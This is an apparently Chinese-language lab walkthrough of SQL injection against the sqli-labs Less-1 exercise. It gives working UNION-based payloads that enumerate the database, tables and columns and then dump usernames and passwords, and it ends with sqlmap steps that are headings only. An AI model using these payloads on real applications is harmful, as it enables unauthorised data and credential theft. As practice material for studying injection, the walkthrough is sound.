SQL

什么是SQL注入

    sql注入是服务器端 未严格校验 客户端发送的数据，而导致服务器端SQL语句被
    恶意修改并成功执行的行为

SQL注入形成原因

• 代码对带人SQL语句的参数过吕不严格
• 未启用框架的安全配置
• 未使用框架安全的查询方式
• 测试接口未删除
• 未启用防火墙
• 未使用其他安全防护设备

靶场实验

实验1：Less-1 GET - Error based - Single quotes - String

会进行持续更新

本次实验用sqli-lib作为实验靶场 请勿在未授权情况在正式环境使用

环境搭建

用PHPstudy搭建 具体方法可以自行查询

开始

1. 使用hackbar插件注入

	插件下载方式 : [官网下载](https://addons.mozilla.org/zh-CN/firefox/addon/hackbartool/).
   作者推荐使用之前的版本 下载方式在论坛里都可以找到

首先测试是否有存在sql注入漏洞 如果页面返回错误 则可能存在漏洞 原因是无论字符型注入还是整形注入等都会因为单引号个数不匹配报错判断是否是整形

发现我们无论输入and 1=1 和 and 1=2 页面没有发生变化 我们可以判定不是整形注入 因为整形注入后台执行的语句是 select * from <表名> where id = x and 1=1（and 1=2） 如果是整形注入的话 后面的语句会影响输出结果 所以我们可以考虑是否为字符型注入 字符型后台执行语句：select * from <表名> where id = ‘x and 1=1（and 1=2)’

我们输入 id’ and ‘1’ ='1 （and ’1‘ =’2）去判断

发现两次的输出结果并不相同 原因是在后台执行力 select * from <表名> where id = ‘1’ and ‘1’=‘1’(and ‘1’ =‘2’)

使用联合注入union进行

`?id=-1’ union select 1,2,database() --+ 发现数据库的名称叫做security

对其进行暴表payload

id=-1’ union select 1,2, group_concat(table_name) from information_schema.tables where table_schema= database()–+ 得到了security数据库中的表的名称 emails,referers,uagents,users 显然users是用户的表 其中可能存储着用户名和密码

对其进行爆数据payload ?id=-1’ union select 1,2, group_concat(column_name) from information_schema.columns where table_name = ‘users’ --+

拿到了表中的列user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password 对其中的user 和password 进行爆值payload

?id=-1’ union select 1,2, group_concat(‘用户名：’,username,‘密码：’,password) from users --+

成功拿到数据库中的用户名及密码

使用sqlmap进行

实验在kail环境运行sqlmap

拿到其

拿到数据库名

对其进行payload

拿到其中的表

对表进行payload

得到表中的列

对表中的列进行payload

拿到其中的值

后面会继续更新sqli-lib中的内容